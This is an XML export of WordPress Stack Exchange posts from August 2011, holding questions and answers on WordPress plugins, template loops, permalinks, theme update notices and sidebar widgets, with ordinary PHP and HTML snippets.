  <row Id="26864" PostTypeId="1" CreationDate="2011-08-25T11:47:20.173" Score="0" ViewCount="9" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3068/how-to-detect-wp-plugins-used-on-a-site&quot;&gt;How to detect WP plugins used on a site&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Is there any way to list which plugins are used in a wordpress blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a guest - normal visitor of the site, not the admin!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="8167" LastActivityDate="2011-08-25T12:13:00.987" ClosedDate="2011-08-25T12:35:43.567" Title="List plugins used in a WP site - guest, not admin" Tags="&lt;plugins&gt;&lt;list&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="26865" PostTypeId="1" CreationDate="2011-08-25T11:51:45.530" Score="0" ViewCount="16" Body="&lt;p&gt;Is there a way to show each author website stats, just for the posts that they have published? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run WP as a directory service (1 post each) and thought it would be handy for authors to be able to gauge how many hit/unique visitors/etc they are getting each day/week/month. I'm familiar with Google Analytics, and have played around with the google analytics dashboard plugin, but there doesn't seem to be any way to achieve what I am after. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-08-25T16:35:34.167" Title="How to let authors only see website stats for their posts?" Tags="&lt;author&gt;&lt;google-analytics&gt;&lt;stats&gt;" AnswerCount="1" />
  <row Id="26866" PostTypeId="1" CreationDate="2011-08-25T12:06:06.690" Score="0" ViewCount="13" Body="&lt;p&gt;I have the following code and need it to exclude the child pages of a page ID;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;      $args = array(&#xA;                    'post_type' =&amp;gt; 'page',&#xA;                    'post_status' =&amp;gt; 'publish',&#xA;                    'numberposts' =&amp;gt; -1,&#xA;                    'exclude' =&amp;gt; '3984,1939,6006,28,2784',&#xA;                    'depth' =&amp;gt; 1&#xA;                );&#xA;                     $postslist = get_posts($args);&#xA;                     foreach ($postslist as $post) :&#xA;                        setup_postdata($post);&#xA;                     ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail('portrait');} else { echo '&amp;lt;img src=&quot;#&quot; alt=&quot;Something Went Wrong?&quot; title=&quot;Sorry - Something went wrong?&quot; /&amp;gt;';}?&amp;gt;    &#xA;                    &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;span&amp;gt;&amp;lt;?php meta('issue-number'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;     &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 'Depth' does not seem to have any effect...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4181" LastActivityDate="2011-08-26T10:41:02.450" Title="Exclude child pages args array" Tags="&lt;pages&gt;&lt;exclude&gt;&lt;child-pages&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="26867" PostTypeId="2" ParentId="26864" CreationDate="2011-08-25T12:13:00.987" Score="0" ViewCount="" Body="&lt;p&gt;No, but you can view the HTML source of the page and usually guess about some of them based on what is inserted into the page.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-25T12:13:00.987" />
  <row Id="26868" PostTypeId="1" CreationDate="2011-08-25T12:14:56.240" Score="0" ViewCount="20" Body="&lt;p&gt;I'm working on WordPress MU site that both versions of it will use the same media(images,videos, etc..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can i make both sites use the same upload directory instead of uploading the assest 2 times one for each version ?&lt;/p&gt;&#xA;" OwnerUserId="3146" LastActivityDate="2011-08-25T12:14:56.240" Title="how to make WordPress MU use the same upload directory?" Tags="&lt;multisite&gt;&lt;uploads&gt;&lt;wordpress.org&gt;&lt;multi-language&gt;&lt;media-upload&gt;" CommentCount="1" />
  <row Id="26869" PostTypeId="1" AcceptedAnswerId="27228" CreationDate="2011-08-25T12:27:31.610" Score="0" ViewCount="46" Body="&lt;p&gt;Right now my shortlink structure looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/?p=451&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would prefer it to look more like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/abc123&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can alter the code to do just this?&lt;/p&gt;&#xA;" OwnerUserId="7944" LastEditorUserId="7944" LastEditorDisplayName="" LastEditDate="2011-08-29T17:53:56.463" LastActivityDate="2011-08-29T22:31:42.387" Title="How do I customize my WordPress shortlink structure in link-template.php without a plugin?" Tags="&lt;plugins&gt;&lt;permalinks&gt;&lt;links&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="26870" PostTypeId="2" ParentId="26784" CreationDate="2011-08-25T12:37:04.287" Score="0" ViewCount="" Body="&lt;p&gt;try to add a filter function to functions.php of your theme;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'alc_image_spanner');&#xA;&#xA;  function alc_image_spanner($text) {&#xA;    $text = preg_replace_callback(&quot;#&amp;lt;img(.*?)&amp;gt;#is&quot;, create_function('$matches', 'return &quot;&amp;lt;span&amp;gt;&amp;lt;img&quot;.$matches[1].&quot;&amp;gt;&amp;lt;/span&amp;gt;&quot;;'), $text);&#xA;    return $text;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-25T12:37:04.287" />
  <row Id="26871" PostTypeId="1" AcceptedAnswerId="26874" CreationDate="2011-08-25T12:38:10.057" Score="0" ViewCount="27" Body="&lt;p&gt;I have a sidebar and would like to fill it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Text]&#xA;[Some other Widget]&#xA;[Text]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I can add the Text widget only once to the Sidebar. What can I do to be able to add it more than once?&lt;/p&gt;&#xA;" OwnerUserId="8058" LastActivityDate="2011-08-25T12:55:31.853" Title="how to add the same Widget twice to a sidebar?" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="26872" PostTypeId="2" ParentId="26866" CreationDate="2011-08-25T12:48:30.960" Score="0" ViewCount="" Body="&lt;p&gt;There is not depth parameter for get_posts. See &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/get_posts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to check to see whether the page has a parent and display it if it does not have a parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are in the foreach loop add an if statement&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( !$post-&amp;gt;parent ): ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail('portrait');} else { echo '&amp;lt;img src=&quot;#&quot; alt=&quot;Something Went Wrong?&quot; title=&quot;Sorry - Something went wrong?&quot; /&amp;gt;';}?&amp;gt;&amp;lt;/a&amp;gt;&#xA;     &amp;lt;span&amp;gt;&amp;lt;?php meta('issue-number'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;     &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endif: ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-08-25T12:48:30.960" />
  <row Id="26873" PostTypeId="1" AcceptedAnswerId="26909" CreationDate="2011-08-25T12:54:25.537" Score="2" ViewCount="35" Body="&lt;p&gt;I see plugins where users can override the plugin templates by creating files inside of their own theme folder, how does this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a built-in part of wordpress or does it have to be written in?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-25T18:49:40.877" Title="Creating a wordpress plugin where users can override templates" Tags="&lt;plugins&gt;&lt;templates&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26874" PostTypeId="2" ParentId="26871" CreationDate="2011-08-25T12:55:31.853" Score="2" ViewCount="" Body="&lt;p&gt;It should be as simple as dragging another text widget from the active widgets into the sidebar and copying the desired text in again. Unless you are having complications?&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-25T12:55:31.853" CommentCount="1" />
  <row Id="26875" PostTypeId="1" CreationDate="2011-08-25T13:02:33.323" Score="0" ViewCount="13" Body="&lt;p&gt;I am developing a website that will allow multiple users to author short posts (Kind of like a job board) and I want to know how they can author or edit these posts from within the site template (Ie; without having to enter the dashboard).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice or points in the right direction would be great&lt;/p&gt;&#xA;" OwnerUserId="7999" LastActivityDate="2011-08-25T13:12:39.063" Title="Creating / Editing a post from within site template" Tags="&lt;posts&gt;&lt;template&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="26876" PostTypeId="2" ParentId="26815" CreationDate="2011-08-25T13:07:00.057" Score="0" ViewCount="" Body="&lt;p&gt;I was able to solve the problem by hard coding. The documentation was to vague and not properly detailed for me to figure out how to use the settings.&#xA;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;!-- BEGIN SLIDER --&amp;gt;&#xA;  &amp;lt;div id=&quot;slider&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;http://ko....cat=4&quot;&amp;gt;&amp;lt;img class=&quot;alignnone size-full wp-image-254&quot; title=&quot;Android Apps&quot; src=&quot;http://wordpress.site5.net/boldy/wp-content/uploads/2010/07/sample1.png&quot; alt=&quot;&quot; width=&quot;960&quot; height=&quot;370&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&quot;http://ko....cat=3&quot;&amp;gt;&amp;lt;img class=&quot;alignnone size-full wp-image-255&quot; title=&quot;Tutorials&quot; src=&quot;http://wordpress.site5.net/boldy/wp-content/uploads/2010/07/sample2.png&quot; alt=&quot;&quot; width=&quot;960&quot; height=&quot;370&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;a href=&quot;http://ko....cat=5&quot;&amp;gt;&amp;lt;img class=&quot;alignnone size-full wp-image-256&quot; title=&quot;Ideas&quot; src=&quot;http://wordpress.site5.net/boldy/wp-content/uploads/2010/07/sample3.png&quot; alt=&quot;&quot; width=&quot;960&quot; height=&quot;370&quot; /&amp;gt;&amp;lt;/a&amp;gt;       &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div style=&quot;width:960px; margin:0 auto; background:url(http://wordpress.site5.net/boldy/wp-content/themes/boldy/images/bk_shadow_slider.png) 0 0 no-repeat; height:50px;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;!-- END SLIDER --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7893" LastActivityDate="2011-08-25T13:07:00.057" />
  <row Id="26877" PostTypeId="1" CreationDate="2011-08-25T13:07:41.723" Score="2" ViewCount="50" Body="&lt;p&gt;OK, this may be a dumb question. Is it possible, using PHP, to detect which theme has been set for use by Wordpress ? If so, how's it done ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8168" LastActivityDate="2011-08-25T13:16:38.400" Title="Detection of theme being used" Tags="&lt;php&gt;&lt;themes&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26878" PostTypeId="1" CreationDate="2011-08-25T13:09:27.367" Score="0" ViewCount="11" Body="&lt;p&gt;I'm trying out sharedaddy that is included within the Jetpack plugin. When testing the share via email feature, I noticed the emails come through from &quot;WordPress .&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I change the WordPress text and also the email name?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I change some of the wording of the plugin without hacking the core files? (or is this the only way?) I would like to change sentences like &lt;code&gt;you have shared this post&lt;/code&gt; to &lt;code&gt;you have shared this listing&lt;/code&gt;. Would I use the .pot file that came with it? I have no idea how to use this. I tried editing it and uploading, but it didn't update the text. I also tried to use poedit on osx but I have no understanding of .po and .mo files. How do I tell the plugin to use my new files?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-08-25T13:09:27.367" Title="How can I change the sharedaddy from address (within jetpack) and some text within the plugin?" Tags="&lt;jetpack&gt;&lt;plugin-jetpack&gt;" />
  <row Id="26879" PostTypeId="2" ParentId="26875" CreationDate="2011-08-25T13:12:39.063" Score="0" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Font-End Editor&lt;/a&gt;. Or you can try some of these. &lt;a href=&quot;http://wpmu.org/8-wordpress-plugins-that-enable-posting-and-editing-from-the-front-end/&quot; rel=&quot;nofollow&quot;&gt;8 WordPress Plugins that Enable Posting and Editing From the Front-End&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never used any of these plugins, so I cannot say as to how well they will perform.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-25T13:12:39.063" CommentCount="1" />
  <row Id="26880" PostTypeId="2" ParentId="26877" CreationDate="2011-08-25T13:13:54.460" Score="3" ViewCount="" Body="&lt;p&gt;This snippet (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_theme_data&quot; rel=&quot;nofollow&quot;&gt;from the Codex&lt;/a&gt;) will get the current theme info for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$theme_data = get_theme_data(get_stylesheet_uri());&#xA;echo $theme_data['Title'];&#xA;echo $theme_data['Author'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-25T13:13:54.460" />
  <row Id="26881" PostTypeId="2" ParentId="26877" CreationDate="2011-08-25T13:16:38.400" Score="6" ViewCount="" Body="&lt;p&gt;If you only need the current theme name, you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_current_theme&quot; rel=&quot;nofollow&quot;&gt;get_current_theme()&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-25T13:16:38.400" />
  <row Id="26882" PostTypeId="1" AcceptedAnswerId="26885" CreationDate="2011-08-25T13:22:04.087" Score="1" ViewCount="39" Body="&lt;p&gt;I have just setup a new custom theme with little/no data and yet Wordpress has made an update notice about upgrading it to &quot;1.0.1&quot; and I cannot for the life of my work out why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have stripped down the theme to the following files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a blank index.php and style.css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Theme Name: Fresh&#xA;Description: A customisable theme built just for your website&#xA;Version: 1.0&#xA;Tags: white, two-columns, fixed-width, custom-header, custom-background&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An obvious fix is just to increase the version number, but it is concerning that for some reason it is checking an external source for version updates when it is not supposed to. I have a large amount of themes in my themes directory, some of them start with the word &quot;fresh&quot; but none are actually called just &quot;fresh&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;It appears to be loading the data for another theme called &quot;Fresh&quot; on some wp-themes.com, I have renamed my theme and it's still checking. Maybe some sort of transient cache isn't clearing?&lt;/p&gt;&#xA;" OwnerUserId="3669" LastEditorUserId="3669" LastEditorDisplayName="" LastEditDate="2011-08-25T13:31:06.957" LastActivityDate="2011-08-25T13:39:18.100" Title="Why is Wordpress asking me to update my new (virtually blank) theme?" Tags="&lt;themes&gt;&lt;updates&gt;&lt;notifications&gt;" AnswerCount="3" />
  <row Id="26883" PostTypeId="2" ParentId="26882" CreationDate="2011-08-25T13:33:33.050" Score="0" ViewCount="" Body="&lt;p&gt;The chances are you've named your theme same as one in their directory. Change the name and the notice will disappear. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-08-25T13:33:33.050" />
  <row Id="26884" PostTypeId="2" ParentId="26882" CreationDate="2011-08-25T13:34:24.827" Score="0" ViewCount="" Body="&lt;p&gt;This is because the theme &lt;code&gt;Fresh&lt;/code&gt; already exists on the WP Theme Repository:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/fresh&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/fresh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is rename your theme to something more unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you never have any intention of getting your theme on the theme repository then you should prefix your theme name with something. Your initials is always good.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-25T13:34:24.827" />
  <row Id="26885" PostTypeId="2" ParentId="26882" CreationDate="2011-08-25T13:39:18.100" Score="2" ViewCount="" Body="&lt;p&gt;In addition to having the same name, I think it checks the folder name first for updates. You should also change your folder name if you are planning to distribute publicly, or if this is private, you can exclude it from update checks: &lt;a href=&quot;http://markjaquith.wordpress.com/2009/12/14/excluding-your-plugin-or-theme-from-update-checks/&quot; rel=&quot;nofollow&quot;&gt;http://markjaquith.wordpress.com/2009/12/14/excluding-your-plugin-or-theme-from-update-checks/&lt;/a&gt;. It would still probably be better to make the names in your theme something more unique, though.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-25T13:39:18.100" CommentCount="1" />
  <row Id="26886" PostTypeId="1" AcceptedAnswerId="26887" CreationDate="2011-08-25T13:49:24.463" Score="0" ViewCount="19" Body="&lt;p&gt;I have custom template for my homepage. If i just put the_content(); to this template, nothing else, then it will display my text i entered in my admin panel in the editor. But if i have a different loop in my template, its display the content from an other post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php &#xA;    query_posts( array(&#xA;            'post_type' =&amp;gt; array(&#xA;            'movies'&#xA;            )&#xA;    ));&#xA;    if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;            asd&#xA;    &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the the_content(); part in the end is displaying the content from the previous loop. What should i do to fix this?&lt;/p&gt;&#xA;" OwnerUserId="8038" LastActivityDate="2011-08-25T14:03:21.573" Title="The_content display a different content from a previous loop" Tags="&lt;query-posts&gt;&lt;loop&gt;&lt;the-content&gt;" AnswerCount="1" />
  <row Id="26887" PostTypeId="2" ParentId="26886" CreationDate="2011-08-25T14:03:21.573" Score="0" ViewCount="" Body="&lt;p&gt;Try rewinding the Loop, via &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/rewind_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;rewind_posts()&lt;/code&gt;&lt;/a&gt;, between the two loops?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;        asd&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php rewind_posts(); // REWIND THE LOOP! ?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-25T14:03:21.573" CommentCount="2" />
  <row Id="26888" PostTypeId="2" ParentId="26846" CreationDate="2011-08-25T14:06:04.270" Score="1" ViewCount="" Body="&lt;p&gt;As far as freelancing goes, I generally include documentation on the usual tasks and some update/security caveats (a PDF and/or something in the WP dashboard) in the initial fee and build and make it clear that any further questions and support will be charged hourly. This is 100% because of the nature of the clients I accept: classical musicians and the occasional one-man business, usually friends (I already have multiple jobs with companies doing WP). Even then, though, some will be on the ball and run updates and read instructions, some will let it lapse and prefer to pay for updates anyway. I think it's an essential skill for a freelancer to be able to read their clients and perhaps have a couple of different approaches based on different personality types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also make non-email support more expensive, since you can't really do anything else when you're on the phone or in person and it's often more stressful. A little off-topic, but I find that that also helps to set expectations, protect your time, and avoid situations where one party may get a little flustered or &quot;het up&quot; and cause a misunderstanding or bad feelings.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-25T14:06:04.270" />
  <row Id="26889" PostTypeId="1" CreationDate="2011-08-25T14:06:34.747" Score="0" ViewCount="23" Body="&lt;p&gt;I have a permalink structure that looks like this, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;%category%/%postname%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a category.php template coded up and and trying to pull of the post of a certain category, so for example my URL may look like this, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/category/category1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want all posts that are in category1 to be return however, when using the following code I get null returned, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_query_var('cat')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that this code is looking for URL that looks like this, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;?cat=category1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I make it work with permalinks?&lt;/p&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2011-08-25T14:46:06.057" Title="get_query_var() and permalinks" Tags="&lt;theme-development&gt;&lt;categories&gt;&lt;permalinks&gt;&lt;template&gt;&lt;get-categories&gt;" AnswerCount="1" />
  <row Id="26890" PostTypeId="1" AcceptedAnswerId="26931" CreationDate="2011-08-25T14:11:51.667" Score="0" ViewCount="38" Body="&lt;p&gt;I think this might be a really simple problem, but I just don't know exactly what and where to enter the specific code and before I mess up, I thought it's better to ask for help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to create multiple columns to display the latest posts.&#xA;For that I created a category.php and tried it out there as I didn't want to mess up my index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I quite like it and would like to use the same style for my actual category view as well.&#xA;However, the current php code is meant to be for the normal Wordpress loop, so naturally only the latest posts are displayed, but they are not sorted by category, even if I click on the category link, e.g. category/uncategorized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably done with some kind of &quot;if&quot; command, but I'd really appreciate if somebody could help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My category.php looks like this right now: &lt;a href=&quot;http://pastebin.com/69VXxytK&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/69VXxytK&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website: zoomingjapan.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'd like to have something like this for my front page: &lt;a href=&quot;http://i56.tinypic.com/2znxqfd.png&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&#xA;I think I already know how to do it except for where to put the command which category should be shown.&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2011-08-25T22:18:52.127" Title="Page view: Sorted by categories" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="26891" PostTypeId="1" CreationDate="2011-08-25T14:35:45.853" Score="-1" ViewCount="26" Body="&lt;p&gt;Im trying to add an xml investment calculator to a page. Instructions on the calculator's page say to simply c&amp;amp;p source into target page and it should work. When I do this, not only does the look of the page change, the calculator does not display the answer. I know enough code to change the look of the page, but I don't know why the page will not display the answer. links to both:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;http://www.calcxml.com/do/inv04&quot; rel=&quot;nofollow&quot;&gt;http://www.calcxml.com/do/inv04&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;target page: &lt;a href=&quot;http://www.propertyinvestinggenie.com/return-on-investment-calculator/#&quot; rel=&quot;nofollow&quot;&gt;http://www.propertyinvestinggenie.com/return-on-investment-calculator/#&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said previously, I'm mainly looking for functionality. I can pretty it up once it's working. Thanks in advance for any direction/help.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="5202" LastEditorDisplayName="" LastEditDate="2011-08-25T15:41:51.987" LastActivityDate="2011-08-25T15:41:51.987" ClosedDate="2011-08-25T22:09:47.623" Title="Adding an investment calculator (xml) to a page" Tags="&lt;page&gt;" CommentCount="2" />
  <row Id="26892" PostTypeId="2" ParentId="26889" CreationDate="2011-08-25T14:46:06.057" Score="0" ViewCount="" Body="&lt;p&gt;WordPress rewrites rules invisibly translate pretty permalinks to the non-pretty format internally, and set the appropriate variables and load the requested page, you don't need to do anything in your template to load posts from a category on a category page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;cat&lt;/code&gt; query var specifically will be set to the &lt;em&gt;ID&lt;/em&gt; of the requested category, not the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_category = get_query_var('cat');&#xA;echo $my_category;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;should&lt;/em&gt; print the selected category ID on a category page. If it's not, we'd have to see your code to help you further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, have a look at the &lt;code&gt;$wp_query&lt;/code&gt; global to see all query vars set on a particular page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query&#xA;print_r($wp_query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-25T14:46:06.057" />
  <row Id="26893" PostTypeId="1" AcceptedAnswerId="26922" CreationDate="2011-08-25T15:00:00.497" Score="1" ViewCount="50" Body="&lt;p&gt;Well, I'm looking for source code of these two small containers (PHP backend, HTML frontend &amp;amp; JS used to attach the image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/d2hmB.jpg&quot; alt=&quot;Featured Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to build a theme option based on Featured Image code, but I'm not able to find it. I'm pretty sure it is somewhere in wp-admin directory, but I've spent loong time there and found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-25T20:06:50.543" Title="Where is Featured Image code stored in WP?" Tags="&lt;media-upload&gt;&lt;wp-filesystem&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="26894" PostTypeId="2" ParentId="10138" CreationDate="2011-08-25T15:04:25.823" Score="0" ViewCount="" Body="&lt;p&gt;I think that there is an &lt;a href=&quot;http://wordpress.org/extend/plugins/relative-links/&quot; rel=&quot;nofollow&quot;&gt;Absolute Relative Links plugin&lt;/a&gt; that will replace all the links in your pages with relative links. It works quite beautifully meaning that you don't have to go back and fix any old links that are still absolute. &lt;/p&gt;&#xA;" OwnerUserId="5433" LastActivityDate="2011-08-25T15:04:25.823" />
